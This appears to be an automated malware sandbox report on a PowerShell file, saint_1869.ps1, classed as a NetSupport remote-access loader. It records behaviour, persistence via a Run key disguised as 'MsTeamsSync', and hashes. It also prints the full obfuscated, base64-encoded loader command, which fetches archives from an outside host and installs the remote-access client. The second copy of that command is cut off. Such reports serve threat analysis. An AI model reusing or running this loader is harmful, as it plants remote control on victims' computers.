Analysis Overview
SHA256
fe3abbdd4e00d96d32a444fa1201213100e1e26713db0fe8e6fd8dc1f1f7516f
Threat Level: Known bad
The file saint_1869.ps1 was found to be: Known bad.
Malicious Activity Summary
NetSupport
Executes dropped EXE
Loads dropped DLL
Adds Run key to start application
System Location Discovery: System Language Discovery
Command and Scripting Interpreter: PowerShell
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-08 21:09
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-08 21:09
Reported
2024-10-08 21:12
Platform
win7-20240903-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2328 wrote to memory of 1864 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2328 wrote to memory of 1864 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2328 wrote to memory of 1864 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\saint_1869.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nOPR -eXEcutiOnpo BYPASS -WI HId -Enc JABhAGYAUQBaAEoAUgAzAGYAPQAnAEkAYwBVADAAbABzAC4AegBpAHAAJwA7ACAAJABXAEkAbgBHAGMAcwA9ACcATAB0AFQANgBiAGwAUQAuAHoAaQBwACcAOwAgACQATgAxAHgAOABCADMAZgA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvADMAYwBvAHIAbgAuAHoAaQBwACcAOwAgACQAWgBrAG0AbQBKADYAagBWAD0AJwBNAHMAVABlAGEAbQBzAFMAeQBuAGMAJwA7ACAAJABQAFYAYQBUAFYAZwA3ADcAPQAnAHcAVQBaAG4AbgAuAHoAaQBwACcAOwAgACQAaQA5ADUAagA4AGMAUAA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvAGMAbwByAG4AMQAuAHoAaQBwACcAOwAgACQANAB2AGgAVwBCAD0AJwBoAHQAdABwAHMAOgAvAC8AdABvAGcAbwBmAHUAbgBkAC4AYwBvAG0ALwBhAHIAawBzAC8AYwBvAHIAbgAyAC4AegBpAHAAJwA7ACAAWwBuAGUAVAAuAFMARQByAFYASQBjAGUAUABPAEkAbgB0AE0AYQBOAGEAZwBlAFIAXQA6ADoAUwBFAEMAdQBSAGkAdAB5AHAAUgBPAFQAbwBjAE8ATAAgAD0AIABbAG4AZQBUAC4AUwBlAGMAVQBSAEkAdAB5AFAAcgBvAHQATwBjAG8ATAB0AFkAUABlAF0AOgA6AHQAbABzADEAMgA7ACAAJABRAHIAdABEAHMAVQA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvADQAYwBvAHIAbgAuAHoAaQBwACcAOwAgACQANABGAFgANQBBAHIAYQA9ACcAUwBYAEEAagA0ADAAMABKAC4AegBpAHAAJwA7ACAAJABtAEsAZgB3AE0AWAByAG4APQBnAGMATQAgAEUAeABQAGEATgBEAC0AYQByAGMAaABJAFYAZQAgAC0ARQByAFIAbwBSAEEAQwB0AGkAbwBuACAAUwBJAEwARQBOAHQAbAB5AGMAbwBOAHQASQBuAFUAZQA7ACAAQwBIAEQAaQByACAAJABFAG4AVgA6AEEAUABQAGQAYQB0AGEAOwAgACQAQgBmAHUAVABNAD0AZwBjAE0AIABTAHQAYQBSAFQALQBCAGkAVABzAHQAcgBhAE4AUwBmAGUAUgAgAC0ARQBSAHIAbwByAGEAQwBUAEkAbwBuACAAUwBpAGwARQBOAFQAbABZAGMAbwBuAFQASQBOAHUARQA7ACAAJABJAEoAaQBFAEoAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAHYAOgBBAFAAUABkAGEAVABBACwAIAAkAFAAVgBhAFQAVgBnADcANwA7ACAAJABvAHYAVwBIAEIAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAFYAOgBhAHAAUABEAEEAdABBACwAIAAkAGEAZgBRAFoASgBSADMAZgA7ACAAJABEAFcAQQByAEkARQBtADQAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAFYAOgBhAHAAUABEAEEAdABBACwAIAAkAFcASQBuAEcAYwBzADsAIAAkAFMAaABuAEgAMAA2AEwAMAA9AGoAbwBJAG4ALQBwAGEAdABoACAALQBQAGEAdABIACAAJABFAG4AdgA6AEEAUABQAGQAQQBUAEEAIAAtAEMAaABpAGwAZABwAEEAdABoACAAJAA0AEYAWAA1AEEAcgBhADsAIAAkAGsAcgBwADEAYgBZAGwANAA9AEoAbwBJAE4ALQBQAGEAdABIACAALQBwAEEAdABoACAAJABFAE4AdgA6AEEAcABwAGQAYQBUAGEAIAAtAEMAaABpAGwAZABQAEEAdABIACAAJABaAGsAbQBtAEoANgBqAFYAOwAgACQAcQBmAFgAMQBFAEQAPQAiAGIASQB0AHMAYQBEAE0AaQBuAC4ARQBYAGUAIAAvAFQAUgBhAG4AcwBGAGUAcgAgAE8ANABHAE8AbABmAHoAUQAgAC8ARABPAFcAbgBMAG8AYQBEACAALwBwAHIASQBvAFIAaQB0AFkAIABOAE8AUgBNAEEATAAgAHsAMAB9ACAAewAxAH0AIgAgAC0AZgAgACQANAB2AGgAVwBCACwAIAAkAFMAaABuAEgAMAA2AEwAMAA7ACAAJABGAFUARQAwAHMAbwBHADkAPQAiAGIAaQB0AHMAYQBkAG0AaQBuAC4ARQB4AEUAIAAvAFQAcgBBAG4AcwBGAGUAUgAgAEwAZABLAGoAZQBlAEYAIAAvAGQATwBXAG4AbABPAGEAZAAgAC8AUABSAEkATwByAEkAdABZACAATgBPAHIATQBBAEwAIAB7ADAAfQAgAHsAMQB9ACIAIAAtAGYAIAAkAGkAOQA1AGoAOABjAFAALAAgACQARABXAEEAcgBJAEUAbQA0ADsAIAAkADkAYwBDAG0AcgA9ACIAQgBpAFQAUwBhAEQATQBJAE4ALgBFAHgAZQAgAC8AVABSAGEAbgBTAEYARQBSACAARgB3AFoANwAwAFIAYQBIACAALwBkAG8AVwBuAGwATwBhAEQAIAAvAHAAcgBJAG8AUgBpAHQAWQAgAE4ATwByAE0AQQBsACAAewAwAH0AIAB7ADEAfQAiACAALQBmACAAJABOADEAeAA4AEIAMwBmACwAIAAkAEkASgBpAEUASgA7ACAAJABRAGMAVQBiAGEAPQAnAGIAaQB0AHMAYQBkAG0AaQBuAC4ARQB4AEUAIAAvAFQAcgBBAG4AcwBGAGUAUgAgAEwAZABLAGoAZQBlAEYAIAAvAGQATwBXAG4AbABPAGEAZAAgAC8AUABSAEkATwByAEkAdABZACAATgBPAHIATQBBAEwAJwAsACAAJABRAHIAdABEAHMAVQAsACAAJABvAHYAVwBIAEIAIAAtAEoAbwBpAE4AIAAnACAAJwA7ACAASQBGACAAKAAkAG0ASwBmAHcATQBYAHIAbgApACAAewAgAEkAZgAgACgAJABCAGYAdQBUAE0AKQAgAHsAIABzAHQAYQByAFQALQBiAGkAVABTAHQAcgBhAE4AcwBGAEUAUgAgAC0AUwBPAFUAcgBjAEUAIAAkAE4AMQB4ADgAQgAzAGYAIAAtAGQARQBTAFQASQBOAEEAdABpAE8AbgAgACQASQBKAGkARQBKADsAIABTAHQAQQBSAFQALQBCAGkAVABzAHQAUgBhAG4AcwBGAEUAcgAgAC0AUwBPAFUAcgBjAEUAIAAkAFEAcgB0AEQAcwBVACAALQBkAEUAcwB0AGkATgBBAHQASQBvAG4AIAAkAG8AdgBXAEgAQgA7ACAAcwB0AEEAUgB0AC0AQgBJAFQAcwB0AFIAQQBOAHMARgBFAHIAIAAtAFMATwBVAFIAQwBFACAAJABpADkANQBqADgAYwBQACAALQBkAEUAcwBUAEkAbgBhAHQAaQBvAE4AIAAkAEQAVwBBAHIASQBFAG0ANAA7ACAAUwB0AGEAcgBUAC0AQgBpAHQAUwBUAFIAQQBuAHMARgBFAFIAIAAtAFMATwB1AHIAQwBFACAAJAA0AHYAaABXAEIAIAAtAGQARQBTAFQAaQBuAEEAVABpAG8ATgAgACQAUwBoAG4ASAAwADYATAAwADsAIAB9ACAARQBsAFMARQAgAHsASQBuAHYATwBrAEUALQBlAFgAcAByAEUAUwBzAGkAbwBOACAALQBDAE8AbQBNAGEATgBkACAAJABxAGYAWAAxAEUARAA7ACAAaQBlAHgAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAEYAVQBFADAAcwBvAEcAOQA7ACAAaQBlAHgAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAFEAYwBVAGIAYQA7ACAAJgAgACQAOQBjAEMAbQByADsAIAB9ACAARQBYAHAAYQBuAGQALQBhAHIAYwBoAGkAdgBlACAALQBQAEEAdABIACAAJABvAHYAVwBIAEIAIAAtAEQARQBTAHQAaQBOAEEAdABJAE8ATgBwAGEAdABoACAAJABrAHIAcAAxAGIAWQBsADQAOwAgAEUAeABQAEEATgBkAC0AQQBSAEMAaABpAHYARQAgAC0AcABhAFQASAAgACQARABXAEEAcgBJAEUAbQA0ACAALQBkAEUAUwBUAEkATgBhAHQASQBvAG4AUABBAHQASAAgACQAawByAHAAMQBiAFkAbAA0ADsAIABFAHgAUABhAE4AZAAtAGEAcgBDAEgASQB2AGUAIAAtAFAAQQBUAGgAIAAkAFMAaABuAEgAMAA2AEwAMAAgAC0ARABFAHMAdABJAG4AQQB0AEkAbwBuAFAAQQBUAEgAIAAkAGsAcgBwADEAYgBZAGwANAA7ACAAZQBYAHAAQQBOAGQALQBBAFIAQwBIAGkAdgBFACAALQBwAGEAVABIACAAJABJAEoAaQBFAEoAIAAtAEQAZQBTAHQAaQBOAGEAVABpAG8AbgBwAEEAVABoACAAJABrAHIAcAAxAGIAWQBsADQAOwAgAFIASQAgAC0AUABBAHQASAAgACQAbwB2AFcASABCADsAIAByAE0AIAAtAHAAYQBUAEgAIAAkAFMAaABuAEgAMAA2AEwAMAA7ACAARQByAGEAUwBlACAALQBQAEEAVABoACAAJABJAEoAaQBFAEoAOwAgAHIATQAgAC0AcABhAHQAaAAgACQARABXAEEAcgBJAEUAbQA0ADsAIAB9ACAAZQBsAHMAZQAgAHsAIAAkADMATQBUAG4AdwBTAGoAPQBAACgAJwBIAFQAQwBUAEwAMwAyAC4ARABMAEwAJwAsACAAJwBjAGwAaQBlAG4AdAAzADIALgBpAG4AaQAnACwAIAAnAG4AcwBrAGIAZgBsAHQAcgAuAGkAbgBmACcALAAgACcAQQB1AGQAaQBvAEMAYQBwAHQAdQByAGUALgBkAGwAbAAnACwAIAAnAFAAQwBJAEMASABFAEsALgBEAEwATAAnACwAIAAnAHAAYwBpAGMAYQBwAGkALgBkAGwAbAAnACwAIAAnAG4AcwBtAF8AdgBwAHIAbwAuAGkAbgBpACcALAAgACcAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwAsACAAJwBtAHMAdgBjAHIAMQAwADAALgBkAGwAbAAnACwAIAAnAFAAQwBJAEMATAAzADIALgBEAEwATAAnACwAIAAnAFQAQwBDAFQATAAzADIALgBEAEwATAAnACwAIAAnAE4AUwBNAC4ATABJAEMAJwAsACAAJwByAGUAbQBjAG0AZABzAHQAdQBiAC4AZQB4AGUAJwApADsAIABuAGkAIAAtAHAAQQBUAGgAIAAkAGUATgBWADoAQQBQAHAARABhAFQAQQAgAC0ATgBhAE0ARQAgACQAWgBrAG0AbQBKADYAagBWACAALQBJAHQARQBtAHQAeQBwAEUAIAAnAGQAaQByAGUAYwB0AG8AcgB5ACcAOwAgACQAawAxAHUASgBvAD0AJwBoAHQAdABwAHMAOgAvAC8AdABvAGcAbwBmAHUAbgBkAC4AYwBvAG0ALwBmAGkAZABlAC8AJwA7ACAASQBmACAAKAAkAEIAZgB1AFQATQApACAAewAgACQAMwBNAFQAbgB3AFMAagAgAHwAIABGAG8AUgBlAGEAQwBoACAAewAgACQAdABFAEcASwBBAD0AJABrADEAdQBKAG8AKwAkAF8AOwAgACQAaABvAEsASABGAD0AagBPAGkATgAtAFAAQQB0AGgAIAAtAFAAQQB0AGgAIAAkAGsAcgBwADEAYgBZAGwANAAgAC0AYwBIAEkAbABEAFAAYQB0AEgAIAAkAF8AOwAgAHMAdABhAHIAdAAtAEIASQBUAFMAVAByAEEATgBzAEYAZQByACAALQBzAE8AVQByAGMARQAgACQAdABFAEcASwBBACAALQBkAEUAcwBUAEkATgBhAHQASQBPAG4AIAAkAGgAbwBLAEgARgA7ACAAfQA7AH0AIABlAGwAcwBlACAAewAgACQAMwBNAFQAbgB3AFMAagAgAHwAIABmAG8AUgBFAGEAQwBIACAAewAgACQAdABFAEcASwBBAD0AJABrADEAdQBKAG8AKwAkAF8AOwAgACQAaABvAEsASABGAD0AagBPAGkATgAtAFAAQQB0AGgAIAAtAFAAQQB0AGgAIAAkAGsAcgBwADEAYgBZAGwANAAgAC0AYwBIAEkAbABEAFAAYQB0AEgAIAAkAF8AOwAgACQATQA4AFcAUABMAD0AIgBiAGkAdABTAGEARABtAGkATgAuAEUAeABlACAALwBUAFIAQQBuAFMARgBFAFIAIABvAEcAVgB3ADgAdABtAEwAIAAvAEQATwB3AE4ATABPAEEAZAAgAC8AUAByAEkATwBSAGkAdAB5ACAAbgBvAHIATQBhAGwAIAAkAHQARQBHAEsAQQAgACQAaABvAEsASABGACIAOwAgAGkARQBYACAALQBjAE8AbQBtAEEATgBEACAAJABNADgAVwBQAEwAOwB9ADsAIAB9ADsAIAB9ADsAIAAkAFYAOABUAHgAcAA9AEcARQBUAC0AaQBUAGUAbQAgACQAawByAHAAMQBiAFkAbAA0ACAALQBGAE8AUgBDAGUAOwAgACQAVgA4AFQAeABwAC4AYQB0AFQAUgBJAEIAdQBUAEUAUwA9ACcASABpAGQAZABlAG4AJwA7ACAAQwBIAEQAaQByACAAJABrAHIAcAAxAGIAWQBsADQAOwAgACQARgBoAEYAbwBRAD0AJABrAHIAcAAxAGIAWQBsADQAKwAnAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwA7ACAAbgBlAFcALQBJAFQAZQBtAHAAUgBPAFAARQByAHQAWQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAE0ARQAgACQAWgBrAG0AbQBKADYAagBWACAALQB2AGEATAB1AGUAIAAkAEYAaABGAG8AUQAgAC0AUABSAG8AcABFAFIAdABZAFQAeQBwAEUAIAAnAFMAdAByAGkAbgBnACcAOwAgAHMAVABBAHIAdAAtAHAAcgBvAEMAZQBTAFMAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7AA==
Network
Files
memory/2328-4-0x000007FEF64CE000-0x000007FEF64CF000-memory.dmp
memory/2328-5-0x000000001B650000-0x000000001B932000-memory.dmp
memory/2328-6-0x00000000027E0000-0x00000000027E8000-memory.dmp
memory/2328-7-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp
memory/2328-8-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp
memory/2328-9-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 16a16b2a760c0409feb7e0e75e5f1f00 |
| SHA1 | 41460c0a0708b072a55c609530077bd0b7906c97 |
| SHA256 | 050aef21d62c888fa08069f24481695b9cdad7e8491d90af2502cc12b8856f20 |
| SHA512 | 5ceb62b4ba0393a33faae6c1491a0dba8a1f51fd93de33b9d2b94a32ae1d67e76f91ada17de4df53b5e121948ccb6eff8254d7a4e0a64368150912e891bf8199 |
memory/1864-15-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp
memory/1864-16-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp
memory/2328-17-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-08 21:09
Reported
2024-10-08 21:12
Platform
win10v2004-20241007-en
Max time kernel
93s
Max time network
134s
Command Line
Signatures
NetSupport
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MsTeamsSync = "C:\\Users\\Admin\\AppData\\Roaming\\MsTeamsSync\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3024 wrote to memory of 3512 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3024 wrote to memory of 3512 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3512 wrote to memory of 4592 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe |
| PID 3512 wrote to memory of 4592 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe |
| PID 3512 wrote to memory of 4592 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\MsTeamsSync\client32.exe |
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\saint_1869.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nOPR -eXEcutiOnpo BYPASS -WI HId -Enc JABhAGYAUQBaAEoAUgAzAGYAPQAnAEkAYwBVADAAbABzAC4AegBpAHAAJwA7ACAAJABXAEkAbgBHAGMAcwA9ACcATAB0AFQANgBiAGwAUQAuAHoAaQBwACcAOwAgACQATgAxAHgAOABCADMAZgA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvADMAYwBvAHIAbgAuAHoAaQBwACcAOwAgACQAWgBrAG0AbQBKADYAagBWAD0AJwBNAHMAVABlAGEAbQBzAFMAeQBuAGMAJwA7ACAAJABQAFYAYQBUAFYAZwA3ADcAPQAnAHcAVQBaAG4AbgAuAHoAaQBwACcAOwAgACQAaQA5ADUAagA4AGMAUAA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvAGMAbwByAG4AMQAuAHoAaQBwACcAOwAgACQANAB2AGgAVwBCAD0AJwBoAHQAdABwAHMAOgAvAC8AdABvAGcAbwBmAHUAbgBkAC4AYwBvAG0ALwBhAHIAawBzAC8AYwBvAHIAbgAyAC4AegBpAHAAJwA7ACAAWwBuAGUAVAAuAFMARQByAFYASQBjAGUAUABPAEkAbgB0AE0AYQBOAGEAZwBlAFIAXQA6ADoAUwBFAEMAdQBSAGkAdAB5AHAAUgBPAFQAbwBjAE8ATAAgAD0AIABbAG4AZQBUAC4AUwBlAGMAVQBSAEkAdAB5AFAAcgBvAHQATwBjAG8ATAB0AFkAUABlAF0AOgA6AHQAbABzADEAMgA7ACAAJABRAHIAdABEAHMAVQA9ACcAaAB0AHQAcABzADoALwAvAHQAbwBnAG8AZgB1AG4AZAAuAGMAbwBtAC8AYQByAGsAcwAvADQAYwBvAHIAbgAuAHoAaQBwACcAOwAgACQANABGAFgANQBBAHIAYQA9ACcAUwBYAEEAagA0ADAAMABKAC4AegBpAHAAJwA7ACAAJABtAEsAZgB3AE0AWAByAG4APQBnAGMATQAgAEUAeABQAGEATgBEAC0AYQByAGMAaABJAFYAZQAgAC0ARQByAFIAbwBSAEEAQwB0AGkAbwBuACAAUwBJAEwARQBOAHQAbAB5AGMAbwBOAHQASQBuAFUAZQA7ACAAQwBIAEQAaQByACAAJABFAG4AVgA6AEEAUABQAGQAYQB0AGEAOwAgACQAQgBmAHUAVABNAD0AZwBjAE0AIABTAHQAYQBSAFQALQBCAGkAVABzAHQAcgBhAE4AUwBmAGUAUgAgAC0ARQBSAHIAbwByAGEAQwBUAEkAbwBuACAAUwBpAGwARQBOAFQAbABZAGMAbwBuAFQASQBOAHUARQA7ACAAJABJAEoAaQBFAEoAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAHYAOgBBAFAAUABkAGEAVABBACwAIAAkAFAAVgBhAFQAVgBnADcANwA7ACAAJABvAHYAVwBIAEIAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAFYAOgBhAHAAUABEAEEAdABBACwAIAAkAGEAZgBRAFoASgBSADMAZgA7ACAAJABEAFcAQQByAEkARQBtADQAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBuAFYAOgBhAHAAUABEAEEAdABBACwAIAAkAFcASQBuAEcAYwBzADsAIAAkAFMAaABuAEgAMAA2AEwAMAA9AGoAbwBJAG4ALQBwAGEAdABoACAALQBQAGEAdABIACAAJABFAG4AdgA6AEEAUABQAGQAQQBUAEEAIAAtAEMAaABpAGwAZABwAEEAdABoACAAJAA0AEYAWAA1AEEAcgBhADsAIAAkAGsAcgBwADEAYgBZAGwANAA9AEoAbwBJAE4ALQBQAGEAdABIACAALQBwAEEAdABoACAAJABFAE4AdgA6AEEAcABwAGQAYQBUAGEAIAAtAEMAaABpAGwAZABQAEEAdABIACAAJABaAGsAbQBtAEoANgBqAFYAOwAgACQAcQBmAFgAMQBFAEQAPQAiAGIASQB0AHMAYQBEAE0AaQBuAC4ARQBYAGUAIAAvAFQAUgBhAG4AcwBGAGUAcgAgAE8ANABHAE8AbABmAHoAUQAgAC8ARABPAFcAbgBMAG8AYQBEACAALwBwAHIASQBvAFIAaQB0AFkAIABOAE8AUgBNAEEATAAgAHsAMAB9ACAAewAxAH0AIgAgAC0AZgAgACQANAB2AGgAVwBCACwAIAAkAFMAaABuAEgAMAA2AEwAMAA7ACAAJABGAFUARQAwAHMAbwBHADkAPQAiAGIAaQB0AHMAYQBkAG0AaQBuAC4ARQB4AEUAIAAvAFQAcgBBAG4AcwBGAGUAUgAgAEwAZABLAGoAZQBlAEYAIAAvAGQATwBXAG4AbABPAGEAZAAgAC8AUABSAEkATwByAEkAdABZACAATgBPAHIATQBBAEwAIAB7ADAAfQAgAHsAMQB9ACIAIAAtAGYAIAAkAGkAOQA1AGoAOABjAFAALAAgACQARABXAEEAcgBJAEUAbQA0ADsAIAAkADkAYwBDAG0AcgA9ACIAQgBpAFQAUwBhAEQATQBJAE4ALgBFAHgAZQAgAC8AVABSAGEAbgBTAEYARQBSACAARgB3AFoANwAwAFIAYQBIACAALwBkAG8AVwBuAGwATwBhAEQAIAAvAHAAcgBJAG8AUgBpAHQAWQAgAE4ATwByAE0AQQBsACAAewAwAH0AIAB7ADEAfQAiACAALQBmACAAJABOADEAeAA4AEIAMwBmACwAIAAkAEkASgBpAEUASgA7ACAAJABRAGMAVQBiAGEAPQAnAGIAaQB0AHMAYQBkAG0AaQBuAC4ARQB4AEUAIAAvAFQAcgBBAG4AcwBGAGUAUgAgAEwAZABLAGoAZQBlAEYAIAAvAGQATwBXAG4AbABPAGEAZAAgAC8AUABSAEkATwByAEkAdABZACAATgBPAHIATQBBAEwAJwAsACAAJABRAHIAdABEAHMAVQAsACAAJABvAHYAVwBIAEIAIAAtAEoAbwBpAE4AIAAnACAAJwA7ACAASQBGACAAKAAkAG0ASwBmAHcATQBYAHIAbgApACAAewAgAEkAZgAgACgAJABCAGYAdQBUAE0AKQAgAHsAIABzAHQAYQByAFQALQBiAGkAVABTAHQAcgBhAE4AcwBGAEUAUgAgAC0AUwBPAFUAcgBjAEUAIAAkAE4AMQB4ADgAQgAzAGYAIAAtAGQARQBTAFQASQBOAEEAdABpAE8AbgAgACQASQBKAGkARQBKADsAIABTAHQAQQBSAFQALQBCAGkAVABzAHQAUgBhAG4AcwBGAEUAcgAgAC0AUwBPAFUAcgBjAEUAIAAkAFEAcgB0AEQAcwBVACAALQBkAEUAcwB0AGkATgBBAHQASQBvAG4AIAAkAG8AdgBXAEgAQgA7ACAAcwB0AEEAUgB0AC0AQgBJAFQAcwB0AFIAQQBOAHMARgBFAHIAIAAtAFMATwBVAFIAQwBFACAAJABpADkANQBqADgAYwBQACAALQBkAEUAcwBUAEkAbgBhAHQAaQBvAE4AIAAkAEQAVwBBAHIASQBFAG0ANAA7ACAAUwB0AGEAcgBUAC0AQgBpAHQAUwBUAFIAQQBuAHMARgBFAFIAIAAtAFMATwB1AHIAQwBFACAAJAA0AHYAaABXAEIAIAAtAGQARQBTAFQAaQBuAEEAVABpAG8ATgAgACQAUwBoAG4ASAAwADYATAAwADsAIAB9ACAARQBsAFMARQAgAHsASQBuAHYATwBrAEUALQBlAFgAcAByAEUAUwBzAGkAbwBOACAALQBDAE8AbQBNAGEATgBkACAAJABxAGYAWAAxAEUARAA7ACAAaQBlAHgAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAEYAVQBFADAAcwBvAEcAOQA7ACAAaQBlAHgAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAFEAYwBVAGIAYQA7ACAAJgAgACQAOQBjAEMAbQByADsAIAB9ACAARQBYAHAAYQBuAGQALQBhAHIAYwBoAGkAdgBlACAALQBQAEEAdABIACAAJABvAHYAVwBIAEIAIAAtAEQARQBTAHQAaQBOAEEAdABJAE8ATgBwAGEAdABoACAAJABrAHIAcAAxAGIAWQBsADQAOwAgAEUAeABQAEEATgBkAC0AQQBSAEMAaABpAHYARQAgAC0AcABhAFQASAAgACQARABXAEEAcgBJAEUAbQA0ACAALQBkAEUAUwBUAEkATgBhAHQASQBvAG4AUABBAHQASAAgACQAawByAHAAMQBiAFkAbAA0ADsAIABFAHgAUABhAE4A